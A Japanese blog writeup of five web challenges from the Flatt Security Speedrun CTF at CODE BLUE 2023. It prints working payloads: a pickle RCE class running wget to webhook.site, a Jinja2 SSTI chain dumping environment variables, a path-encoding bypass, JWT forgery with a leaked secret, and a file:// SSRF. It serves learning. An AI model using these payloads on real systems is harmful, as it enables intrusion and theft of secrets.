st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Flatt Security Speedrun CTF writeup

11/9にCODE BLUE 2023の会場で開催されたFlatt Security Speedrun CTFに参加した。5問のWeb問が用意されていたのだけれども、それを全完した速さによってランキングが決まるという特殊な形式だった。この短時間で解ける(ことになっている)という特徴から4回の枠があり、そのいずれかで参加できるということだった。久々にakiymさん作問の問題が遊べることに喜びつつ、私はちょうど参加できそうだった初回の10時から出て、45分26秒5で全完。最初に全完し、最後まで1位の座を守り抜けた。賞品としてTシャツをいただけるということなので、楽しみにしたい。

リンク:


[目標タイム: 2分30秒 / 区間タイム: 2分1秒5] deny

Welcome to Speedrun CTF!

(問題サーバのURL)

添付ファイル: deny.zip

ほか、手元で問題を動かすには docker compose up -d せよというような案内もあるが、RTAでそんなことをやっている暇はない。添付ファイルの展開とソースコードの確認を素早く済ませる。ソースコードは次の通り。やることは明確で、/admin/flag にアクセスできたらフラグが得られるのだけれども、REQUEST_URI をチェックしてもし /admin から始まっていれば403を出すという処理を行うミドルウェアが入ってしまっている。素直にアクセスしようとしても403になってしまう。

import os

from flask import Flask


class ForbidAdminMiddleware:
    def __init__(self, app):
        self.app = app

    def __call__(self, environ, start_response):
        request_uri = environ['REQUEST_URI']
        if request_uri.startswith('/admin'):
            start_response('403 Forbidden', [])
            return [request_uri.encode()]
        return self.app(environ, start_response)


app = Flask(__name__)
app.wsgi_app = ForbidAdminMiddleware(app.wsgi_app)


@app.route("/")
def index():
    return 'Welcome to Speedrun CTF!'


@app.route("/admin/flag")
def flag():
    return os.environ.get('FLAG', '')

まあどうせパラメータによって、パーセントエンコーディングをデコードした後の値を返すか、それとも元のままかが変わるとかそういう話やろと思いつつ、--path-as-is を付けつつ適当に試す。いけた。区間タイムは2分1秒5で、-28秒。目標タイムより素早く解けた。

$ curl --path-as-is https://(省略)/%2f%61dmin/flag
flag{why_dont_you_use_PATH_INFO}
flag{why_dont_you_use_PATH_INFO}

[目標タイム: 5分 / 区間タイム: 16分3秒4] gadget

Choose your own function!

(問題サーバのURL)

添付ファイル: gadget.zip

ソースコードは次の通り。フラグどこやねんと思うが compose.yaml におり、どうやら環境変数中に含まれている様子。Jinja2のテンプレート, pickle, YAMLと無警戒にそのままユーザ入力をデシリアライズなりレンダリングなりするとまずいことを引き起こしそうな機能が揃っている。ただし、この中だと ast.literal_eval は安全である、と思いたい。compose.yaml も同時に確認し、環境変数にフラグが存在していたものの、このコードのどこからも参照されていないことから、RCEに持ち込んで os.environ にアクセスするなり、OSコマンドの実行に持ち込んで printenv するなりといったところかなと考える。

import ast
import base64
import pickle

import yaml
from fastapi import FastAPI
from jinja2 import Template
from pydantic import BaseModel


class Input(BaseModel):
    input: str | None = None
    base64_input: str | None = None


app = FastAPI()


@app.get('/')
def index():
    return 'Choose your own function!'


@app.post('/eval')
def api_eval(input: Input):
    return {'output': repr(ast.literal_eval(input.input))}


@app.post('/jinja2')
def api_jinja2(input: Input):
    return {'output': Template(input.input).render()}


@app.post('/pickle')
def api_pickle(input: Input):
    return {'output': repr(pickle.loads(base64.b64decode(input.base64_input)))}


@app.post('/yaml')
def api_yaml(input: Input):
    return {'output': repr(yaml.load(input.input, Loader=yaml.Loader))}

まずはJinja2のSSTIを狙う。こういったシチュエーションでは {{config}}{{request}} でほぼ勝ち、前者が色々な情報のリークに便利で、特に後者ではhamayanhamayanさんのWeb問でのテクニックをまとめた記事にも書かれているように、{{request.application.__globals__.__builtins__.import('os')}} のように辿って、モジュールのインポートに簡単に持ち込めて便利。しかしながら、今回は jinja2.Template を直接呼んでいることから configrequest も存在しない。若干焦る。

こうなると ''.__class__.… のようにリテラルから特殊な属性やメソッドを辿っていく必要があるのだけれども、その途中で __subclasses__ を呼び出した結果から適切なクラス(ほしい値にアクセスできるようなもの)を選択する作業がある。関連するテクニックを思い出す時間やらそのクラスを探す手間やらを考えると、Jinja2の次にペイロードの作成が楽なpickleを狙う方が早いと考え、スイッチする。

"pickle deserialize os command vuln" みたいな雑なクエリでググり、すぐにペイロードを生成できるコードを見つける。以下のようなコードで試すもダメ。import の位置がメチャクチャだったり、Base64エンコードしたいはずなのになぜか binascii モジュールをインポートしたりといった様子から焦りが感じられる。

import binascii
import os
import requests
class Exploit:
    def __reduce__(self):
        cmd = ('wget https://webhook.site/…')
        return os.system, (cmd,)

import pickle
import base64
p = base64.b64encode(pickle.dumps(Exploit()))

s = requests.post('https://(省略)/pickle', json={
    'base64_input': p
})
print(s.text)

どういうことやねんとデバッグのため渋々(時間がもったいないとなぜかしていなかった) docker compose up -d でローカルの環境を用意する。curl, wget が動かない。コンテナに入るとどちらも存在しなかった。これをバイパスして外部にアクセスする手段を考える時間と、Jinja2に戻って色々調べる時間を天秤にかける。前者はアウトバウンドな通信を制限している可能性を考えると徒労に終わるかもしれない。こうなると確実を取りたいと後者を選ぶ。

SSTIの度にいつも見ているP=NPのチートシートを参照しつつ、適当なリテラルから特殊な属性やメソッドを辿って __builtins__ にたどり着く方法を考える。汎用的な方法が見つけられない。いつも見ているHackTricksのまとめを見ると、__subclasses__ の返り値に対してforを回して warning を探している様子があり、そういえばそうだった、最近全然SSTIしていなくて忘れていたけれども、warning がキーなんだったと思い出す。

__subclasses__ の返り値をテキストエディタに貼り付けてコンマを改行文字に置換、何行目に warning があるかでインデックスを特定する。最終的に、次のようにしてやっとフラグが得られた。pickleでの試行のコードをそのまま残しているあたりから焦りが感じられる。

import os
import requests
class Exploit:
    def __reduce__(self):
        cmd = ('/bin/wget https://webhook.site/…')
        return os.system, (cmd,)

s = requests.post('https://(省略)/jinja2', json={
    'input': '{{[].__class__.__mro__[1].__subclasses__()[229]()._module.__builtins__.__import__("os").environ}}'
})
print(s.text)
$ python3 t.py
{"output":"environ({'K_REVISION': 'gadget-1oioyivwdw-00003-yib', 'PYTHON_PIP_VERSION': '23.2.1', 'HOME': '/home/ctf', 'PORT': '8080', 'GPG_KEY': '7169605F62C751356D054A26A821E680E5FA6305', 'K_CONFIGURATION': 'gadget-1oioyivwdw', 'PYTHON_GET_PIP_URL': 'https://github.com/pypa/get-pip/raw/c6add47b0abf67511cdfb4734771cbab403af062/public/get-pip.py', 'PATH': '/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'LANG': 'C.UTF-8', 'K_SERVICE': 'gadget-1oioyivwdw', 'PYTHON_VERSION': '3.12.0', 'PWD': '/home/ctf', 'PYTHON_GET_PIP_SHA256': '22b849a10f86f5ddf7ce148ca2a31214504ee6c83ef626840fde6e5dcd809d11', 'FLAG': 'flag{literal_eval_is_unexploitable_isnt_it?}'})"}

区間タイムは16分3秒4で、+11分3秒。目標タイムを大幅に超過している。

flag{literal_eval_is_unexploitable_isnt_it?}

[目標タイム: 8分30秒 / 区間タイム: 4分39秒5] gem

Params, params, params!

(問題サーバのURL)

添付ファイル: gem.zip

区間での目標タイムからの大幅な遅れに焦りを覚えたが、CTFの開始前にルールを熟読していたおかげで、各問題を開始するまで(各問題は独立しており、開始するボタンを押さない限り問題文や添付ファイルなど問題の情報は見られないようになっている)タイマーは止まっていることを思い出す。つまり問題と問題の間で休憩を取ることができる。深呼吸をしてこの問題に臨む。

今度はRuby。私にはあまり馴染みがない。この調子で別の言語がどんどん出てきてさらに馴染みのない言語が出てくれたらと困るなと思いつつも、Rubyならでは、Sinatraならではのテクニックはあまり使わなそうだなというのが初めてコードを見たときの印象。クエリパラメータに配列とかハッシュを仕込むことができればよさそう。ただ、7月に開催・出題したzer0pts CTF 2023 - Plain Blogで偶然にもSinatraを使っており、この際 params はパスパラメータやクエリパラメータ、リクエストボディの値もごっちゃにすることを学んでいたので、一応それも使う可能性があるかなともぼんやり考える。

require 'sinatra'

get '/' do
  if params == {}
    'Hello'
  elsif params[:a] != '1'
    status 400
    'Nope'
  elsif params[:b] != ['2']
    status 401
    'Nope'
  elsif params[:c] != [{'d' => '3', 'e' => nil}]
    p params
    status 402
    'Nope'
  elsif request.query_string.include? '&'
    # what was parse_nested_query?
    status 403
    'Nope'
  else
    ENV['FLAG']
  end
end

まず aa=1 でOK、bb[]=2 でOK。次にひとつ飛ばして request.query_string.include? '&' とクエリ文字列に & が入っていれば弾く処理があるけれども、これはたとえばJavaなんかに触れたことがあると思いつくかもしれないが、; を代わりの区切り文字にすればよいと試し、OKであることを確認した。最後に c だけれども、c[d]=3&c[e] が通らないなあとちょっと悩む。今度は問題を開くとともにローカルでまず docker compose up -d をしていたので、ローカル環境でprintfデバッグもといppデバッグによって理由を調べようかなと考えるも、ここですぐにハッシュがブラケットで囲まれていることに気づく。配列やんけ!!!!! 騙された!!!!!!!!

最終的に、次のOSコマンドでフラグが得られた。

$ curl -i "https://(省略)?a=1;b[]=2;c[][d]=3;c[][e]"
HTTP/2 200
content-type: text/html;charset=utf-8
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-cloud-trace-context: ae68e5c6ae241e5c2b6f01643854f3ef;o=1
date: Thu, 09 Nov 2023 01:25:41 GMT
server: Google Frontend
content-length: 33
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

flag{this_behavior_is_useful_btw}

変なところで詰まりかけたが、区間タイムは8分30秒で、-3分50秒。目標タイムよりだいぶ短い時間で解けた。

flag{this_behavior_is_useful_btw}

[目標タイム: 10分 / 区間タイム: 13分56秒8] arrow

Dart?

(問題サーバのURL)

添付ファイル: arrow.zip

gemで恐れていた事態が起こる。Dartにはまったく馴染みがない。Dartという文字列を見て、最悪Flutterというセキュリティエンジニアにとっての悪夢*1と戦う必要があるのではないかと考えたが、サーバサイドのコードをまず見た感じでは普通のHTTPサーバっぽく安心する。いや、安心しないが。こんな短時間でDartと格闘したくないんだが。CTFでDartの問題を見たのはこれで2問目だなあ、ACSC 2022で出たあの問題は解けなかったなあと嫌なことを思い出しつつもコードを見ていく。

JWTだ。フラグは /api/flag から取得でき、ただしその条件として admin に対して発行されたJWTを持っている必要がある。JWTは /api/login がガンガン発行してくれるが、こいつは admin というユーザ名である場合にのみ発行を拒否する。わがままだなあ。まず考えるのは型や文字列比較周りの変な挙動で、前者はまず {"username": ["admin"]} のようにすればいい感じにならないかなと思うも、これはJSではない。動かない。後者はAdmin (頭文字を大文字にする。case-insensitiveな比較ではないかと考えた) や admin (後ろにスペースを入れている。truncationがないかなと思った)といったものを試すが通らない。

import 'dart:convert';
import 'dart:io' show Platform;

import 'package:chal/util.dart';
import 'package:shelf/shelf.dart';
import 'package:shelf/shelf_io.dart' as shelf_io;
import 'package:shelf_router/shelf_router.dart';
import 'package:shelf_static/shelf_static.dart';

Response json(Object? object, {status = 200}) {
  return Response(
    status,
    body: jsonEncode(object),
    headers: {
      'Content-Type': 'application/json',
    },
  );
}

void main() async {
  final router = Router()
    ..post('/api/login', (Request request) async {
      String? username;
      try {
        final body = jsonDecode(await request.readAsString());
        username = body['username'];
      } catch (e) {
        return json({}, status: 400);
      }

      if (username == 'admin') {
        return json({}, status: 403);
      }

      final loginToken = LoginToken(token: signJWT(username));
      return json(loginToken.toJson());
    })
    ..get('/api/flag', (Request request) {
      final authorization = request.headers['Authorization'];
      final token = authorization?.replaceFirst('Bearer ', '');
      final jwt = verifyJWT(token);
      if (jwt == null) {
        return json({}, status: 401);
      }

      if (jwt.subject != 'admin') {
        return json({}, status: 403);
      }

      return json(Flag(flag: Platform.environment['FLAG']).toJson());
    });

  final port = int.parse(Platform.environment['PORT'] ?? '3000');
  final handler = Cascade()
      .add(createStaticHandler('build', defaultDocument: 'index.html'))
      .add(router)
      .handler;
  await shelf_io.serve(handler, '0.0.0.0', port);
}

じゃあ /api/login のコードに問題があるわけでなく、JWT周りだろうと当たりをつける。先程のコードから読み込まれている chal/util.dart は以下のコードで、dart_jsonwebtoken とかいうパッケージを使っているなあとか、なんで秘密鍵がハードコーディングされてるんだろうなあとか思う。

まずJWT名物 alg をいじることを考える。none は通らない。そもそも HS256 なのでほかの RS256 などに変えても落ちるだけ。リポジトリのスター数を見て、0-dayか、このライブラリ特有の仕様を使うのではないだろうかと一瞬考えるも、これはSpeedrun CTFだぞとすぐに考えを捨てる。一応使われているバージョンも見て、v2.12.0と11/9時点で最新のひとつ前であることから、(あるかどうかは知らないが)以前存在した脆弱性に関するものでもなさそうとも思う。

import 'package:dart_jsonwebtoken/dart_jsonwebtoken.dart';

// this is replaced from Dockerfile
final hardcodedSecretKey = SecretKey('<PLACEHOLDER>');

String signJWT(String? username) {
  final jwt = JWT({}, subject: username);
  return jwt.sign(hardcodedSecretKey);
}

JWT? verifyJWT(String? token) {
  if (token == null) {
    return null;
  }

  try {
    final jwt = JWT.verify(token, hardcodedSecretKey);
    return jwt;
  } catch (e) {
    return null;
  }
}

class LoginToken {
  String token;

  LoginToken({required this.token});
  LoginToken.fromJson(Map<String, dynamic> json) : token = json['token'];

  Map<String, dynamic> toJson() => {
    'token': token,
  };
}

class Flag {
  String? flag;

  Flag({required this.flag});
  Flag.fromJson(Map<String, dynamic> json) : flag = json['flag'];

  Map<String, dynamic> toJson() => {
    'flag': flag,
  };
}

じゃあ、ハードコーディングされた秘密鍵ですねえと思う。そういえばフロントエンドのコードもDartで、先程の util.dart を読み込んでいるのだった。もしかしてこれがバンドルされたJSに含まれているのではないか。ちなみに、秘密鍵のフォーマットは次の通りSHA-256だった。

RUN secret=$(head -c 16 /dev/urandom | sha256sum | awk '{print $1}') && \
    sed -i "s/<PLACEHOLDER>/$secret/g" lib/util.dart

バンドルされたJSである /main.dart.js を見る。めっちゃ圧縮されており、シンボル情報が吹き飛んでいて読みづらい。じゃあ先程見たフォーマットが使えるのではないかと、DevToolsでコンソールを開き document.body.innerText.match(/[0-9a-f]{32,}/g) で検索してみる。めっちゃあるやんけ。

落ち着いて、SHA-256のhexでの桁数の64文字に絞りつつ Set で重複を排除する。かつ、" で囲んでジャスト64文字のものだけ取れるようにする。まだ多い。

はじめの方の 7d5a0975fc2c3057eef67530417affe7fb8055c126dc5c6ce94a4b44f330b5d9 などは楕円曲線関連のなんかっぽいので、逆に後ろから見ていく。最後の eccf539166d55142bb491b2ff45a14e47724ad1a60080b06f105951312d101f2 がビンゴだった。JWT.ioでJWTを偽造する。いけた。

$ f eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2OTk0OTM3NzYsInN1YiI6ImFkbWluIn0.hdQZ8fbVanMx_1pnIMK5hmonIpZrjpG2eR-fYlYM6RY
HTTP/2 200
x-powered-by: Dart with package:shelf
x-frame-options: SAMEORIGIN
content-type: application/json
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-cloud-trace-context: dadb7a4d0ba5b78c09012b1f2ea6a6cc;o=1
date: Thu, 09 Nov 2023 01:40:38 GMT
server: Google Frontend
content-length: 50
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"flag":"flag{dont_confuse_frontend_and_backend}"}

区間タイムは13分56秒8で、+3分56秒。目標タイムより遅いが、遅すぎるというわけではなくまずまずといったところ。

flag{dont_confuse_frontend_and_backend}

[目標タイム: 13分30秒 / 区間タイム: 8分45秒2] bread

This is the final challenge. No Node.js, Bun is better.

(問題サーバのURL)

添付ファイル: bread.zip

JavaScript + Bun。また違う言語かつBunというまだ自分には馴染みのない環境でうーんと思う。ただ、JavaScriptは私にとってはホームグラウンドなのでアドバンテージがある。勝ちを確信する。

ソースコードは次の通り。/flag というパスにフラグを書き込んだので読めということらしい。わざわざ環境変数にあるフラグを /flag に書き込んでいるあたり、RCEではないのだろうな、フラグを読み込める脆弱性なんだろうなと思う。

POST /fetch が妙なことをするAPIで、こいつにURLを投げると fetch で取りに行ってくれるらしい。ただし、URLに f, l, a, t のいずれかが含まれているとそこで400を返す。また、new URL(fetchUrl, `http://localhost:${port}/`) とURLのコンストラクタの第2引数に localhost のURLを入れておくことで、ローカル以外には飛ばせないようにしている。

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
}

const server = Bun.serve({
  port,
  async fetch(req) {
    const url = new URL(req.url);
    if (url.pathname === "/") {
      return new Response("Welcome to Bun!");
    } else if (url.pathname === "/zzz") {
      return new Response("sleeping...");
    } else if (url.pathname === "/flag") {
      return new Response("read /flag!");
    } else if (req.method === "POST" && url.pathname === "/fetch") {
      const fetchUrl = url.searchParams.get("url") || "";

      if ([...fetchUrl].some((c) => [..."flatt"].includes(c))) {
        return new Response("Nope", { status: 400 });
      }

      // by the way, where is the implementation of fetch: https://github.com/oven-sh/bun
      const res = await fetch(new URL(fetchUrl, `http://localhost:${port}/`));
      return new Response((await res.blob()).stream());
    }

    return new Response("Not found", { status: 404 });
  },
});

まず fetch/flag を手に入れられないかについて。これは docker compose up -d でローカルに問題サーバの環境を用意しておき、そこで検証することで突破できた。こいつは file: スキームを受け付ける。

ctf@8d79ff4b843a:~$ bun repl
Welcome to Bun v1.0.8
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await (await fetch('file:///flag')).text()
'flag{dummy}'

続いて、new URL の問題について。与えられている第2引数が使われる条件について、MDNを読むと「url が相対 URL の場合に使用するベース URL を表す文字列です」ということだった。じゃあ絶対URLを仕込めばいいじゃん。

ctf@8d79ff4b843a:~$ bun repl
Welcome to Bun v1.0.8
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> '' + new URL('/poyo', 'http://localhost:3000')
'http://localhost:3000/poyo'
> '' + new URL('http://example.com', 'http://localhost:3000')
'http://example.com/'

最後に、どうやって禁止されている文字を含ませないようにするか。じゃあパーセントエンコーディングと思う。いけそう。

ctf@8d79ff4b843a:~$ bun repl
Welcome to Bun v1.0.8
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await (await fetch('file:///fl%61g')).text()
'flag{dummy}'

いけた。file はパーセントエンコーディングするわけにはいかないけれども、幸いチェックはcase-insensitiveなので FiLe のように大文字を入れることで回避できる。ファイル名でも同様にできたんじゃないかと一瞬考えるも、ここはLinux環境なんですよねえ。

$ curl -X POST -i "http://…/fetch?url=FiLe:///%2566%256c%2561%2567"
HTTP/2 200
content-type: application/octet-stream
content-disposition: filename="flag"
x-cloud-trace-context: 3162f685d4b33f91f51d8f45f1924269;o=1
date: Thu, 09 Nov 2023 01:50:36 GMT
server: Google Frontend
content-length: 44
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

flag{file_scheme_isnt_implemented_in_nodejs}

区間タイムは8分45秒2で、-4分44秒。目標タイムよりかなり短い時間で解けた。


ここでタイマーストップ。記録は45分26秒6。deny, gem, breadで目標タイムより早く解くことができたのはよかったけれども、gadgetで大幅に目標タイムを超過してしまったのが悔しい。ただ、改めてCODE BLUEのWebページにある「※全問クリアは最短30分前後を想定しています」という記述を見て、そんなんできるかいなと思う。合計目標タイムの39分30秒はgadgetで最初からJinja2のSSTIに専念していればいけたかなと思う。

こうやって手元にexploitがあるので再走したら3分でいけそう。なんならフラグがあるので1分でもいける。

*1:そんなことはない